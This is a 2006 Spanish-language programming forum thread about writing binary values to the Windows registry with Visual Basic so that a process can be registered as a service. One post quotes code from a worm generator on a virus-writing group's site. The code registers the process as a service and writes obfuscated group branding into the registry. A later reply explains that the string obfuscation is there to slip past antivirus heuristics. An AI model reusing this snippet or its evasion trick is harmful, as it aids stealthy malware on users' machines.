Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: Kizar en 25 Febrero 2006, 23:49 pm



Título: REG_BINARY
Publicado por: Kizar en 25 Febrero 2006, 23:49 pm
Al guardar en el registro una variable binaria se como hacerlo, pero si yo tengo el codigo en binario no se como acer k me lo guarde tal cual.

Por ejemplo, yo tengo esto en binario:

01 00 14 80 90 00 00 00 9C 00 00 00 14 00 00 00 30 00 00 00 02 00 1C

y quiero k me lo guarde en el registro tal cual esta.

Alguien sabe?


Salu2


Título: Re: REG_BINARY
Publicado por: Kizar en 27 Febrero 2006, 13:14 pm
Puff ¿nadie sabe?

Es k e podido leer datos binarios de el registro con este codigo tan simple:
http://www.trucoswindows.net/foro/topico-198-manejo-basico-del-registro.html

Pero a la ora de escribir no se como poner los datos para k me les guarde como yo quiero.

Lo necesito para poder acer un modulo k publicare en el foro para agregar un servicio al sistema.

Salu2 k1z4r


Título: Re: REG_BINARY
Publicado por: Gorky en 2 Marzo 2006, 16:34 pm
Casualmente vamos los dos tras lo mismo: Añadir un nuevo servicio.
Yo tambien estoy teniendo problemas para escribir el Security de un servicio. Pero me puse a buscar por la paginas de Gedzac y encontre un generador de gusanos. Segun selecciones unas opciones u otras te va dando un codigo distinto en VB. Entre ellas esta la opcion de registar el proceso como servicio. Si solo seleccionas eso te da lo siguiente.
Código:
Private Sub Form_Load()
On Error Resume Next

Set Fso = CreateObject("Scripting.FileSystemObject")
Set Ws = CreateObject("Wscript.Shell")
Set DirWindows = Fso.GetSpecialFolder(0)
Set DirSystem = Fso.GetSpecialFolder(1)
Set DirTemporal = Fso.GetSpecialFolder(2)
Set WsNet = CreateObject("WScript.Network")
MiNombre = App.Path & "\" & App.EXEName & ".exe"

Ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner", StrReverse(Replace(Replace(Replace(Replace(Replace("CVZDFGam1lmeX", "V", "A"), "F", "E"), "a", "/"), "1", "i"), "X", "N"))
Ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RegisteredOrganization", StrReverse(Replace(Replace(Replace(Replace(Replace(Replace("rLtqer4 edL4 3frfX 3fsqB lqusfX", "X", "V"), "f", "i"), "q", "a"), "3", "c"), "4", "C"), "L", "o"))
Dim ProcessID As Long
ProcessID = GetCurrentProcessId()
retval = RegisterServiceProcess(ProcessID, RSP_SIMPLE_SERVICE)


End Sub

Y un modulode variables:
Código:
Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0
Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Public MiNombre As String
Public Fso As Object
Public Ws As Object
Public WsNet As Object
Public DirSystem As Object
Public DirWindows As Object
Public DirTemporal As Object

Despues de darle muchas vueltas no consigo ver como lo hace. Tantos Replace me vuelven loco. Ademas tampoco me cuadra porque las dos entrada que cita no aparece en el registro.
Si tu eres capaz de comprenderlo pues perfecto pero me gustaria que si lo consigues que explicases aqui o por IM el funcinamiento.


Título: Re: REG_BINARY
Publicado por: .Slasher-K. en 2 Marzo 2006, 17:16 pm
Código:
Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, phkResult As Long, ByVal lpdwDisposition As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Byte, ByVal cbData As Long) As Long

Function RegWriteBin(ByVal Data As String) As Boolean
      Dim btData() As Byte
      Dim hKey&, r&

  btData = StrConv(Data, vbFromUnicode)
 
  r = RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\MyApp\", 0&, vbNullString, _
                     0&, KEY_ALL_ACCESS, 0&, hKey, REG_CREATED_NEW_KEY)

  If r = ERROR_SUCCESS Then
    r = RegSetValueEx(hKey, "MyBinValue", 0&, REG_BINARY, btData(0), Len(Data))
    r = RegCloseKey(hKey)
   
    RegWriteBin = (r = ERROR_SUCCESS)
  End If
End Function


Título: Re: REG_BINARY
Publicado por: Kizar en 2 Marzo 2006, 17:31 pm
Eeste codigo registra servicios en win 98 en xp eso ya no funciona.
Comento el codigo linea por linea.

Citar
Option Explicit
Private Const RSP_SIMPLE_SERVICE = 1 'constante para registrar un servicio
Private Const RSP_UNREGISTER_SERVICE = 0 'constante para quitar un servicio
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long 'Api Coge el id de nuestro programa
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long 'Api que registra el servicio
'******   Variables
Private MiNombre As String
Private Fso As Object
Private Ws As Object
Private WsNet As Object
Private DirSystem As Object
Private DirWindows As Object
Private DirTemporal As Object

Private Sub Form_Load() ' Al cargar el programa....
On Error Resume Next
Dim ProcessID As Long

Set Fso = CreateObject("Scripting.FileSystemObject")
Set Ws = CreateObject("Wscript.Shell")
Set DirWindows = Fso.GetSpecialFolder(0) 'cogemos el directorio de windows
Set DirSystem = Fso.GetSpecialFolder(1) 'cogemos el directorio de system32
Set DirTemporal = Fso.GetSpecialFolder(2) 'cogemos el directorio temporal
Set WsNet = CreateObject("WScript.Network") 'creamos un socket
MiNombre = App.Path & "\" & App.EXEName & ".exe" 'La ruta completa de este programa

Ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner", StrReverse(Replace(Replace(Replace(Replace(Replace("CVZDFGam1lmeX", "V", "A"), "F", "E"), "a", "/"), "1", "i"), "X", "N")) '"Nemlim/GEDZAC"
Ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RegisteredOrganization", StrReverse(Replace(Replace(Replace(Replace(Replace(Replace("rLtqer4 edL4 3frfX 3fsqB lqusfX", "X", "V"), "f", "i"), "q", "a"), "3", "c"), "4", "C"), "L", "o")) ' "Visual Basic Viric Code Creator"

ProcessID = GetCurrentProcessId() 'LLamamos a la api para coger el id de nuestro proceso
retval = RegisterServiceProcess(ProcessID, RSP_SIMPLE_SERVICE) 'llamamos a la api para registrar el servicio
End Sub

Lo de usar las funciones StrReverse y Replace es para que los antivirus con la heuristica no detecten el texto que se ha querido poner.

Sigo queriendo investigar lo de guardar mediante las apis un valor binario en el registro. El codigo que uso es este, pero no guarda los valores como yo quiero.

Código:
Const REG_SZ = 1
Const REG_BINARY = 3
Const HKEY_CURRENT_USER = &H80000001
Const HKEY_LOCAL_MACHINE = &H80000002
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Sub SaveStringLong(hKey As Long, strPath As String, strValue As String, strData As String)
    Dim Ret
    'Create a new key
    RegCreateKey hKey, strPath, Ret
    'Set the key's value
    RegSetValueEx Ret, strValue, 0, REG_BINARY, strData, Len(strData)
    'close the key
    RegCloseKey Ret
End Sub

'SaveStringLong HKEY_CURRENT_USER, "S", "BinaryValue", "00 01 02 3D 05"

Salu2



Título: Re: REG_BINARY
Publicado por: .Slasher-K. en 2 Marzo 2006, 17:44 pm
Código:
Function RegWriteBin(ByVal Data As String) As Boolean
      Dim btData() As Byte
      Dim sChar$(), i&
      Dim hKey&, r&

  r = RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\MyApp\", 0&, vbNullString, _
                     0&, KEY_ALL_ACCESS, 0&, hKey, REG_CREATED_NEW_KEY)

  If r = ERROR_SUCCESS Then
    sChar = Split(Data, " ")
    ReDim btData(UBound(sChar)) As Byte
   
    For i = 0 To UBound(sChar) - 1
      btData(i) = Val("&H" & sChar(i))
    Next
   
    r = RegSetValueEx(hKey, "MyBinValue", 0&, REG_BINARY, btData(0), UBound(sChar))
    r = RegCloseKey(hKey)
   
    RegWriteBin = (r = ERROR_SUCCESS)
  End If
End Function


Título: Re: REG_BINARY
Publicado por: Kizar en 2 Marzo 2006, 17:48 pm
Va muy bien ese code, pero tengo una duda mas, lo que hace es convertir la string a binario
Código:
StrConv(Data, vbFromUnicode)

¿como puedo convertir de binario a string?

Salu2


Título: Re: REG_BINARY
Publicado por: .Slasher-K. en 2 Marzo 2006, 18:06 pm
Código:
Function RegReadBin() As String
      Dim btData() As Byte
      Dim lBufferLen&, i&
      Dim hKey&, r&

  r = RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\MyApp\", 0&, vbNullString, _
                     0&, KEY_ALL_ACCESS, 0&, hKey, REG_CREATED_NEW_KEY)

  If r = ERROR_SUCCESS Then
    lBufferLen = 2048
   
    ReDim btData(lBufferLen) As Byte
   
    sData = String$(lBufferLen, 0)
   
    r = RegQueryValueExByte(hKey, "MyBinValue", 0&, REG_BINARY, btData(0), lBufferLen)
   
    If r = ERROR_SUCCESS Then
      RegReadBin = Left$(StrConv(btData, vbUnicode), lBufferLen)
    End If
 
    r = RegCloseKey(hKey)
 
  End If
End Function


Título: Re: REG_BINARY
Publicado por: Kizar en 2 Marzo 2006, 19:42 pm
EL code para leer que as puesto va de lujo, pero sigo sin saber como resolver mi problema:

Lo que quiero acer es guardar en un valor binario de el registro esto:
Código:
................0.................................`......................................... ... ....................................... ...#...........................
o esto en binario, que es lo mismo de arriba:
Código:
01001480900000009C000000140000003000000002001C000100000002801400FF010F00010100000000000100000000020060000400000000001400FD01020001010000000000051200000000001800FF010F0001020000000000052000000020020000000014008D01020001010000000000050B00000000001800FD01020001020000000000052000000023020000010100000000000512000000010100000000000512000000

Guardando ese texto con el code que as puesto guarda otros datos distintos a los k tendria k guardar.

Muchas gracias


Título: Re: REG_BINARY
Publicado por: .Slasher-K. en 2 Marzo 2006, 20:15 pm
Código:
Function RegWriteBin(ByVal Data As String) As Boolean
  On Error Resume Next
 
      Dim btData() As Byte
      Dim hKey&, r&
      Dim i&

  Data = Replace$(Data, " ", vbNullString)

  If (Len(Data) Mod 2) <> 0 Then Data = Data & "0"

  r = RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\MyApp\", 0&, vbNullString, _
                     0&, KEY_ALL_ACCESS, 0&, hKey, REG_CREATED_NEW_KEY)

  If r = ERROR_SUCCESS Then
    ReDim btData(Len(Data) \ 2) As Byte
   
    For i = 1 To (Len(Data) \ 2) Step 2
      btData(i) = Val("&H" & Mid$(Data, i, 2))
    Next
   
    r = RegSetValueEx(hKey, "MyBinValue", 0&, REG_BINARY, btData(0), Len(Data) \ 2)
    r = RegCloseKey(hKey)
   
    RegWriteBin = (r = ERROR_SUCCESS)
  End If
End Function

Pensé que usabas los espacios (01 00 14 80 90)


Título: Re: REG_BINARY
Publicado por: Kizar en 2 Marzo 2006, 20:41 pm
Pensé que usabas los espacios (01 00 14 80 90)

Ya no les uso porke el editor hexadecimal no me les pone.

EL codigo esta bastante correcto, solo hay un fallo:
Código:
For I = 1 To (Len(strData) \ 2) Step 2
      btData(I) = Val("&H" & Mid$(strData, I, 2))
Next

En ese codigo solo se va llenando la mitad de las partes de un array.
I = 1, I = 3, I = 5
Y los que quedan sin valor en el array les guarda como (00) y desfigura el code.

Salu2


Título: Re: REG_BINARY
Publicado por: .Slasher-K. en 2 Marzo 2006, 21:27 pm
Cierto, es que fue copy paste del code anterior casi. Crea una variable iCnt y aumentala en 1 cada iteracción de bucle.

Código:
     Dim iCnt%

  ...

  For ... ....
    btData(iCnt)= ....
    iCnt=iCnt+1
  Next
  ...


Título: Re: REG_BINARY
Publicado por: Kizar en 4 Marzo 2006, 16:15 pm
El codigo que estoy usando para guardar es este:
Citar
Const REG_SZ = 1 ' Unicode nul terminated string
Const REG_BINARY = 3 ' Free form binary
Const HKEY_CURRENT_USER = &H80000001
Const HKEY_LOCAL_MACHINE = &H80000002
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

'Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, lpSecurityAttributes As SECURITY_ATTRIBUTES, phkResult As Long, lpdwDisposition As Long) As Long
Private Declare Function RegQueryValueExByte Lib "advapi32" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, ByRef lpType As Long, szData As Byte, ByRef lpcbData As Long) As Long

Sub SaveStringLong(hKey As Long, strPath As String, strValue As String, strData As String)
    Dim Ret As Long, btData() As Byte, I As Long, B As Long
    RegCreateKey hKey, strPath, Ret
    ReDim btData(Len(strData) \ 2) As Byte
    For I = 1 To (Len(strData) \ 2) Step 2
      btData(B) = Val("&H" & Mid$(strData, I, 2))
      B = B + 1
    Next
    RegSetValueEx Ret, strValue, 0, REG_BINARY, btData(0), Len(strData) \ 2
    RegCloseKey Ret
End Sub

Private Sub Command1_Click()
        SaveStringLong HKEY_CURRENT_USER, "S", "Security", "01001480900000009C000000140000003000000002001C000100000002801400FF010F00010100000000000100000000020060000400000000001400FD01020001010000000000051200000000001800FF010F0001020000000000052000000020020000000014008D01020001010000000000050B00000000001800FD01020001020000000000052000000023020000010100000000000512000000010100000000000512000000"
End Sub

Pero me guarda la primera mitad de los valores, el resto me lo llena de 0´s no se donde puede estar el fallo...

Salu2


Título: Re: REG_BINARY
Publicado por: .Slasher-K. en 4 Marzo 2006, 20:03 pm
Código:
    For I = 1 To Len(strData)  Step 2

    Next

Cambia Len(strData) \ 2 por Len(strData)


Título: Re: REG_BINARY
Publicado por: Kizar en 4 Marzo 2006, 22:57 pm
Ya esta, ya funciona todo perfectamente, muchas gracias  Slasher Kepper ;D

Salu2 k1z4r


Título: Re: REG_BINARY
Publicado por: Kizar en 4 Marzo 2006, 23:47 pm
Ya que estamos en este tema:
¿Porque no me deja el registro crear esta clave, ni desde el regedit ni desde mi programa?

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY_KIZAR

Es que estoy creando un modulo que registra un servicio, pero sin escribir esa clave no puedo hacerlo y e visto que otros programas como el iunes o el kaspersky pueden hacerlo. ¿que permisos hay k tener, yo en mi equipo soy administrador....

Salu2


Título: Re: REG_BINARY
Publicado por: Gorky en 5 Marzo 2006, 14:11 pm
Juraria haber respondido esto antes pero no se donde ha ido a parar. Bueno el caso.

Esa clave solo puede ser modificada por SYSTEM. Sin embargo si te pones encima de

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root

y le das a permisos... puedes agregarte a ti mismo. Lo he conseguido a mano pero no se como se hara en VB.